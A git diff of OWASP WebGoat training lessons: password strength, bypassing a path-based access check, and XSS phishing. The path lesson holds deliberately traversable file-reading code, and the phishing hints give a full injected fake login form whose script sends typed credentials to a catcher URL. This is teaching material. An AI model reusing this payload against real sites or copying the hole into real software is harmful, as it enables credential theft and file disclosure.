hints = new ArrayList(); + hints.add("Copy the passwords into the code checker."); + return hints; + } - /** - * Gets the ranking attribute of the HelloScreen object - * - * @return The ranking value - */ - private final static Integer DEFAULT_RANKING = new Integer(6); + /** + * Gets the ranking attribute of the HelloScreen object + * + * @return The ranking value + */ + private final static Integer DEFAULT_RANKING = new Integer(6); - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } - protected Category getDefaultCategory() - { - return Category.AUTHENTICATION; - } + protected Category getDefaultCategory() + { + return Category.AUTHENTICATION; + } - public String getInstructions(WebSession s) - { - String instructions = "The Accounts of your Webapplication are only as save as the passwords. " - + "For this exercise, your job is to test several passwords on https://www.cnlab.ch/codecheck. " - + " You must test all 5 passwords at the same time...
" - + " On your applications you should set good password requirements! "; - return (instructions); - } + public String getInstructions(WebSession s) + { + String instructions = "The Accounts of your Webapplication are only as save as the passwords. " + + "For this exercise, your job is to test several passwords on https://www.cnlab.ch/codecheck. " + + " You must test all 5 passwords at the same time...
" + + " On your applications you should set good password requirements! "; + return (instructions); + } - /** - * Gets the title attribute of the HelloScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("Password Strength"); - } + /** + * Gets the title attribute of the HelloScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("Password Strength"); + } - public Element getCredits() - { - return super.getCustomCredits("Created by: Reto Lippuner, Marcel Wirth", new StringElement("")); - } + public Element getCredits() + { + return super.getCustomCredits("Created by: Reto Lippuner, Marcel Wirth", new StringElement("")); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/PathBasedAccessControl.java b/src/main/java/org/owasp/webgoat/lessons/PathBasedAccessControl.java index ebf702ba3..70126b14f 100644 --- a/src/main/java/org/owasp/webgoat/lessons/PathBasedAccessControl.java +++ b/src/main/java/org/owasp/webgoat/lessons/PathBasedAccessControl.java @@ -52,218 +52,218 @@ import org.owasp.webgoat.util.WebGoatI18N; public class PathBasedAccessControl extends LessonAdapter { - private final static String FILE = "File"; + private final static String FILE = "File"; - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - protected Element createContent(WebSession s) - { - ElementContainer ec = new ElementContainer(); + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { + ElementContainer ec = new ElementContainer(); - try - { - String dir = s.getContext().getRealPath("/lesson_plans/English"); - File d = new File(dir); + try + { + String dir = s.getContext().getRealPath("/lesson_plans/English"); + File d = new File(dir); - Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign("center"); + Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign("center"); - if (s.isColor()) - { - t.setBorder(1); - } + if (s.isColor()) + { + t.setBorder(1); + } - String[] list = d.list(); - String listing = "

"+WebGoatI18N.get("CurrentDirectory")+" " + Encoding.urlDecode(dir) - + "

"+WebGoatI18N.get("ChooseFileToView")+"

"; + String[] list = d.list(); + String listing = "

"+WebGoatI18N.get("CurrentDirectory")+" " + Encoding.urlDecode(dir) + + "

"+WebGoatI18N.get("ChooseFileToView")+"

"; - TR tr = new TR(); - tr.addElement(new TD().setColSpan(2).addElement(new StringElement(listing))); - t.addElement(tr); + TR tr = new TR(); + tr.addElement(new TD().setColSpan(2).addElement(new StringElement(listing))); + t.addElement(tr); - tr = new TR(); - tr.addElement(new TD().setWidth("35%").addElement(ECSFactory.makePulldown(FILE, list, "", 15))); - tr.addElement(new TD().addElement(ECSFactory.makeButton(WebGoatI18N.get("ViewFile")))); - t.addElement(tr); + tr = new TR(); + tr.addElement(new TD().setWidth("35%").addElement(ECSFactory.makePulldown(FILE, list, "", 15))); + tr.addElement(new TD().addElement(ECSFactory.makeButton(WebGoatI18N.get("ViewFile")))); + t.addElement(tr); - ec.addElement(t); + ec.addElement(t); - // FIXME: would be cool to allow encodings here -- hex, percent, - // url, etc... - String file = s.getParser().getRawParameter(FILE, ""); + // FIXME: would be cool to allow encodings here -- hex, percent, + // url, etc... + String file = s.getParser().getRawParameter(FILE, ""); - // defuse file searching - boolean illegalCommand = getWebgoatContext().isDefuseOSCommands(); - if (getWebgoatContext().isDefuseOSCommands()) - { - // allow them to look at any file in the webgoat hierachy. Don't - // allow them - // to look about the webgoat root, except to see the LICENSE - // file - if (upDirCount(file) == 3 && !file.endsWith("LICENSE")) - { - s.setMessage(WebGoatI18N.get("AccessDenied")); - s.setMessage(WebGoatI18N.get("ItAppears1")); - } - else if (upDirCount(file) > 3) - { - s.setMessage(WebGoatI18N.get("AccessDenied")); - s.setMessage(WebGoatI18N.get("ItAppears2")); - } - else - { - illegalCommand = false; - } - } + // defuse file searching + boolean illegalCommand = getWebgoatContext().isDefuseOSCommands(); + if (getWebgoatContext().isDefuseOSCommands()) + { + // allow them to look at any file in the webgoat hierachy. Don't + // allow them + // to look about the webgoat root, except to see the LICENSE + // file + if (upDirCount(file) == 3 && !file.endsWith("LICENSE")) + { + s.setMessage(WebGoatI18N.get("AccessDenied")); + s.setMessage(WebGoatI18N.get("ItAppears1")); + } + else if (upDirCount(file) > 3) + { + s.setMessage(WebGoatI18N.get("AccessDenied")); + s.setMessage(WebGoatI18N.get("ItAppears2")); + } + else + { + illegalCommand = false; + } + } - // Using the URI supports encoding of the data. - // We could force the user to use encoded '/'s == %2f to make the lesson more difficult. - // We url Encode our dir name to avoid problems with special characters in our own path. - // File f = new File( new URI("file:///" + - // Encoding.urlEncode(dir).replaceAll("\\\\","/") + "/" + - // file.replaceAll("\\\\","/")) ); - File f = new File((dir + "\\" + file).replaceAll("\\\\", "/")); + // Using the URI supports encoding of the data. + // We could force the user to use encoded '/'s == %2f to make the lesson more difficult. + // We url Encode our dir name to avoid problems with special characters in our own path. + // File f = new File( new URI("file:///" + + // Encoding.urlEncode(dir).replaceAll("\\\\","/") + "/" + + // file.replaceAll("\\\\","/")) ); + File f = new File((dir + "\\" + file).replaceAll("\\\\", "/")); - if (s.isDebug()) - { + if (s.isDebug()) + { - s.setMessage(WebGoatI18N.get("File") + file); - s.setMessage(WebGoatI18N.get("Dir")+ dir); - // s.setMessage("File URI: " + "file:///" + - // (Encoding.urlEncode(dir) + "\\" + - // Encoding.urlEncode(file)).replaceAll("\\\\","/")); - s.setMessage(WebGoatI18N.get("IsFile")+ f.isFile()); - s.setMessage(WebGoatI18N.get("Exists") + f.exists()); - } - if (!illegalCommand) - { - if (f.isFile() && f.exists()) - { - // Don't set completion if they are listing files in the - // directory listing we gave them. - if (upDirCount(file) >= 1) - { - s.setMessage(WebGoatI18N.get("CongratsAccessToFileAllowed")); - s.setMessage(" ==> " + Encoding.urlDecode(f.getCanonicalPath())); - makeSuccess(s); - } - else - { - s.setMessage(WebGoatI18N.get("FileInAllowedDirectory")); - s.setMessage(" ==> " + Encoding.urlDecode(f.getCanonicalPath())); - } - } - else if (file != null && file.length() != 0) - { - s - .setMessage(WebGoatI18N.get("AccessToFileDenied1") + Encoding.urlDecode(f.getCanonicalPath()) - + WebGoatI18N.get("AccessToFileDenied2")); - } - else - { - // do nothing, probably entry screen - } + s.setMessage(WebGoatI18N.get("File") + file); + s.setMessage(WebGoatI18N.get("Dir")+ dir); + // s.setMessage("File URI: " + "file:///" + + // (Encoding.urlEncode(dir) + "\\" + + // Encoding.urlEncode(file)).replaceAll("\\\\","/")); + s.setMessage(WebGoatI18N.get("IsFile")+ f.isFile()); + s.setMessage(WebGoatI18N.get("Exists") + f.exists()); + } + if (!illegalCommand) + { + if (f.isFile() && f.exists()) + { + // Don't set completion if they are listing files in the + // directory listing we gave them. + if (upDirCount(file) >= 1) + { + s.setMessage(WebGoatI18N.get("CongratsAccessToFileAllowed")); + s.setMessage(" ==> " + Encoding.urlDecode(f.getCanonicalPath())); + makeSuccess(s); + } + else + { + s.setMessage(WebGoatI18N.get("FileInAllowedDirectory")); + s.setMessage(" ==> " + Encoding.urlDecode(f.getCanonicalPath())); + } + } + else if (file != null && file.length() != 0) + { + s + .setMessage(WebGoatI18N.get("AccessToFileDenied1") + Encoding.urlDecode(f.getCanonicalPath()) + + WebGoatI18N.get("AccessToFileDenied2")); + } + else + { + // do nothing, probably entry screen + } - try - { - // Show them the file - // Strip out some of the extra html from the "help" file - ec.addElement(new BR()); - ec.addElement(new BR()); - ec.addElement(new HR().setWidth("100%")); - ec.addElement(WebGoatI18N.get("ViewingFile")+ f.getCanonicalPath()); - ec.addElement(new HR().setWidth("100%")); - if (f.length() > 80000) { throw new Exception(WebGoatI18N.get("FileTooLarge")); } - String fileData = getFileText(new BufferedReader(new FileReader(f)), false); - if (fileData.indexOf(0x00) != -1) { throw new Exception(WebGoatI18N.get("FileBinary")); } - ec.addElement(new StringElement(fileData.replaceAll(System.getProperty("line.separator"), "
") - .replaceAll("(?s)", "").replaceAll("

", "
") - .replaceAll("
\\s
", "
").replaceAll("<\\?", "<").replaceAll("<(r|u|t)", - "<$1"))); - } catch (Exception e) - { - ec.addElement(new BR()); - ec.addElement(WebGoatI18N.get("TheFollowingError")); - ec.addElement(e.getMessage()); - } - } - } catch (Exception e) - { - s.setMessage(WebGoatI18N.get("ErrorGenerating")+ this.getClass().getName()); - e.printStackTrace(); - } + try + { + // Show them the file + // Strip out some of the extra html from the "help" file + ec.addElement(new BR()); + ec.addElement(new BR()); + ec.addElement(new HR().setWidth("100%")); + ec.addElement(WebGoatI18N.get("ViewingFile")+ f.getCanonicalPath()); + ec.addElement(new HR().setWidth("100%")); + if (f.length() > 80000) { throw new Exception(WebGoatI18N.get("FileTooLarge")); } + String fileData = getFileText(new BufferedReader(new FileReader(f)), false); + if (fileData.indexOf(0x00) != -1) { throw new Exception(WebGoatI18N.get("FileBinary")); } + ec.addElement(new StringElement(fileData.replaceAll(System.getProperty("line.separator"), "
") + .replaceAll("(?s)", "").replaceAll("

", "
") + .replaceAll("
\\s
", "
").replaceAll("<\\?", "<").replaceAll("<(r|u|t)", + "<$1"))); + } catch (Exception e) + { + ec.addElement(new BR()); + ec.addElement(WebGoatI18N.get("TheFollowingError")); + ec.addElement(e.getMessage()); + } + } + } catch (Exception e) + { + s.setMessage(WebGoatI18N.get("ErrorGenerating")+ this.getClass().getName()); + e.printStackTrace(); + } - return (ec); - } + return (ec); + } - private int upDirCount(String fileName) - { - int count = 0; - int startIndex = fileName.indexOf(".."); - while (startIndex != -1) - { - count++; - startIndex = fileName.indexOf("..", startIndex + 1); - } - return count; - } + private int upDirCount(String fileName) + { + int count = 0; + int startIndex = fileName.indexOf(".."); + while (startIndex != -1) + { + count++; + startIndex = fileName.indexOf("..", startIndex + 1); + } + return count; + } - /** - * DOCUMENT ME! - * - * @return DOCUMENT ME! - */ - protected Category getDefaultCategory() - { - return Category.ACCESS_CONTROL; - } + /** + * DOCUMENT ME! + * + * @return DOCUMENT ME! + */ + protected Category getDefaultCategory() + { + return Category.ACCESS_CONTROL; + } - /** - * Gets the hints attribute of the AccessControlScreen object - * - * @return The hints value - */ - protected List getHints(WebSession s) - { - List hints = new ArrayList(); - hints.add(WebGoatI18N.get("PathBasedAccessControlHint1")); - hints.add(WebGoatI18N.get("PathBasedAccessControlHint2")); - hints.add(WebGoatI18N.get("PathBasedAccessControlHint3")); - hints.add(WebGoatI18N.get("PathBasedAccessControlHint4")); - - return hints; - } + /** + * Gets the hints attribute of the AccessControlScreen object + * + * @return The hints value + */ + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + hints.add(WebGoatI18N.get("PathBasedAccessControlHint1")); + hints.add(WebGoatI18N.get("PathBasedAccessControlHint2")); + hints.add(WebGoatI18N.get("PathBasedAccessControlHint3")); + hints.add(WebGoatI18N.get("PathBasedAccessControlHint4")); + + return hints; + } - /** - * Gets the instructions attribute of the WeakAccessControl object - * - * @return The instructions value - */ - public String getInstructions(WebSession s) - { - String instructions = WebGoatI18N.get("PathBasedAccessControlInstr1")+ s.getUserName() + WebGoatI18N.get("PathBasedAccessControlInstr2"); + /** + * Gets the instructions attribute of the WeakAccessControl object + * + * @return The instructions value + */ + public String getInstructions(WebSession s) + { + String instructions = WebGoatI18N.get("PathBasedAccessControlInstr1")+ s.getUserName() + WebGoatI18N.get("PathBasedAccessControlInstr2"); - return (instructions); - } + return (instructions); + } - private final static Integer DEFAULT_RANKING = new Integer(115); + private final static Integer DEFAULT_RANKING = new Integer(115); - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } - /** - * Gets the title attribute of the AccessControlScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("Bypass a Path Based Access Control Scheme"); - } + /** + * Gets the title attribute of the AccessControlScreen object + * + * @return The title value + */ + public String getTitle() + { + return ("Bypass a Path Based Access Control Scheme"); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/Phishing.java b/src/main/java/org/owasp/webgoat/lessons/Phishing.java index dc6d9fe3f..9cfd2a357 100644 --- a/src/main/java/org/owasp/webgoat/lessons/Phishing.java +++ b/src/main/java/org/owasp/webgoat/lessons/Phishing.java @@ -54,244 +54,244 @@ import org.owasp.webgoat.session.WebSession; public class Phishing extends LessonAdapter { - /** - * Description of the Field - */ - protected final static String SEARCH = "Username"; - private String searchText; + /** + * Description of the Field + */ + protected final static String SEARCH = "Username"; + private String searchText; - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - private boolean postedCredentials(WebSession s) - { - String postedToCookieCatcher = getLessonTracker(s).getLessonProperties().getProperty(Catcher.PROPERTY, - Catcher.EMPTY_STRING); + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + private boolean postedCredentials(WebSession s) + { + String postedToCookieCatcher = getLessonTracker(s).getLessonProperties().getProperty(Catcher.PROPERTY, + Catcher.EMPTY_STRING); - // - return (!postedToCookieCatcher.equals(Catcher.EMPTY_STRING)); - // - } + // + return (!postedToCookieCatcher.equals(Catcher.EMPTY_STRING)); + // + } - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - protected Element createContent(WebSession s) - { - ElementContainer ec = new ElementContainer(); + /** + * Description of the Method + * + * @param s + * Description of the Parameter + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { + ElementContainer ec = new ElementContainer(); - try - { - searchText = s.getParser().getRawParameter(SEARCH, ""); - // - // + try + { + searchText = s.getParser().getRawParameter(SEARCH, ""); + // + // - ec.addElement(makeSearch(s)); - if (postedCredentials(s)) - { - makeSuccess(s); - } - } catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - } + ec.addElement(makeSearch(s)); + if (postedCredentials(s)) + { + makeSuccess(s); + } + } catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + } - return (ec); - } + return (ec); + } - protected Element makeSearch(WebSession s) - { - ElementContainer ec = new ElementContainer(); + protected Element makeSearch(WebSession s) + { + ElementContainer ec = new ElementContainer(); - ec.addElement(new H1().addElement("WebGoat Search ")); - Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setAlign("center"); + ec.addElement(new H1().addElement("WebGoat Search ")); + Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setAlign("center"); - TR tr = new TR(); - tr.addElement(new TD().addElement(" ").setColSpan(2)); - t.addElement(tr); - if (s.isColor()) - { - t.setBorder(1); - } + TR tr = new TR(); + tr.addElement(new TD().addElement(" ").setColSpan(2)); + t.addElement(tr); + if (s.isColor()) + { + t.setBorder(1); + } - tr = new TR(); - tr.addElement(new TH().addElement("This facility will search the WebGoat source.").setColSpan(2) - .setAlign("center")); - t.addElement(tr); + tr = new TR(); + tr.addElement(new TH().addElement("This facility will search the WebGoat source.").setColSpan(2) + .setAlign("center")); + t.addElement(tr); - tr = new TR(); - tr.addElement(new TD().addElement(" ").setColSpan(2)); - t.addElement(tr); + tr = new TR(); + tr.addElement(new TD().addElement(" ").setColSpan(2)); + t.addElement(tr); - TR row1 = new TR(); - row1.addElement(new TD(new B(new StringElement("Search: "))).setAlign("right")); + TR row1 = new TR(); + row1.addElement(new TD(new B(new StringElement("Search: "))).setAlign("right")); - Input input1 = new Input(Input.TEXT, SEARCH, searchText); - row1.addElement(new TD(input1).setAlign("left")); - t.addElement(row1); + Input input1 = new Input(Input.TEXT, SEARCH, searchText); + row1.addElement(new TD(input1).setAlign("left")); + t.addElement(row1); - Element b = ECSFactory.makeButton("Search"); - t.addElement(new TR(new TD(b).setColSpan(2)).setAlign("center")); - ec.addElement(t); + Element b = ECSFactory.makeButton("Search"); + t.addElement(new TR(new TD(b).setColSpan(2)).setAlign("center")); + ec.addElement(t); - if (!searchText.equals("")) - { - ec.addElement(new BR()); - ec.addElement(new HR()); - ec.addElement(new BR()); - ec.addElement(new StringElement("Results for: " + searchText)); - ec.addElement(new Comment("Search results")); - ec.addElement(new BR()); - ec.addElement(new BR()); - ec.addElement(new B(new StringElement("No results were found."))); - ec.addElement(new Comment("End of Search results")); - } + if (!searchText.equals("")) + { + ec.addElement(new BR()); + ec.addElement(new HR()); + ec.addElement(new BR()); + ec.addElement(new StringElement("Results for: " + searchText)); + ec.addElement(new Comment("Search results")); + ec.addElement(new BR()); + ec.addElement(new BR()); + ec.addElement(new B(new StringElement("No results were found."))); + ec.addElement(new Comment("End of Search results")); + } - return (ec); - } + return (ec); + } - /** - * Gets the hints attribute of the CluesScreen object - * - * @return The hints value - */ - protected List getHints(WebSession s) - { - List hints = new ArrayList(); - hints.add("Try adding HTML to the search field to create a fake authentication form.
" - + "Try to make the form look official."); - hints - .add("Try:
" - + "<form name="phish"><br><br><HR><H3>This feature requires account login:</H2" - + "><br><br>Enter Username:<br><input type="text" " - + "name="user"><br>Enter Password:<br><input type="password" " - + "name = "pass"><br></form><br><br><HR>"); - hints - .add("Add functionality that can post a request, a button might work

" - + "After getting the button on the page, don't forget you will need to steal the credentials and post them to:
" - + "http://localhost/webgoat/capture/PROPERTY=yes&ADD_CREDENTIALS_HERE"); - hints - .add("Try:
" - + "<input type="submit" name="login" " - + "value="login">" - + "

In the whole script:

" - + "<form name="phish"><br><br><HR><H3>This feature requires account login:</H2" - + "><br><br>Enter Username:<br><input type="text" " - + "name="user"><br>Enter Password:<br><input type="password" " - + "name = "pass"><br><input type="submit" name="login" " - + "value="login" onclick="hack()"></form><br><br><HR>"); - hints - .add("Make the button perform an action on submit,
" - + "adding an onclick=\"hack()\" might work
" - + "Don't forget to add the hack() javascript function" - + "

In the whole script:

" - + "<form name="phish"><br><br><HR><H3>This feature requires account login:</H2" - + "><br><br>Enter Username:<br><input type="text" " - + "name="user"><br>Enter Password:<br><input type="password" " - + "name = "pass"><br><input type="submit" name="login" " - + "value="login" onclick="hack()"></form><br><br><HR>
" - + "Also, check firebug. Does the search form need to be terminated for this to work...? (</form>)"); - hints - .add("You need to create the hack() function. This function will pull the credentials from the " - + "webpage and post them to the WebGoat catcher servlet.
" - + "
Some useful code snippets:
    " - + "
  • doucument.phish.user.value - will access the user field" - + "
  • XssImage = new Image(); XssImage.src=SOME_URL = will perform a post" - + "
  • javascript string concatentation uses a \"+\"
" - + "

The entire javascript portion:

" - + "<script>function hack(){ " - + "XSSImage=new Image; XSSImage.src="http://localhost/webgoat/catcher?PROPERTY=yes&user="+" - + "document.phish.user.value + "&password=" + document.phish.pass.value + "";" - + "alert("Had this been a real attack... Your credentials were just stolen." - + "\nUser Name = " + document.phish.user.value + "\nPassword = " + document.phish.pass.value);} " - + "</script>"); - hints - .add("Complete solution for this lesson:

" - + "</form><script>function hack(){ " - + "XSSImage=new Image; XSSImage.src="http://localhost/webgoat/catcher?PROPERTY=yes&user="+" - + "document.phish.user.value + "&password=" + document.phish.pass.value + "";" - + "alert("Had this been a real attack... Your credentials were just stolen." - + "\nUser Name = " + document.phish.user.value + "\nPassword = " + document.phish.pass.value);} " - + "</script><form name="phish"><br><br><HR><H3>This feature requires account login:</H2" - + "><br><br>Enter Username:<br><input type="text" " - + "name="user"><br>Enter Password:<br><input type="password" " - + "name = "pass"><br><input type="submit" name="login" " - + "value="login" onclick="hack()"></form><br><br><HR>"); - /** - * password

- *
- *
- *

This feature requires account login:


- *
- * Enter Username:
- *
- * Enter Password:
- *
- *

- *
- *
- *
@@ -75,7 +75,7 @@
-

Lesson Title in here

+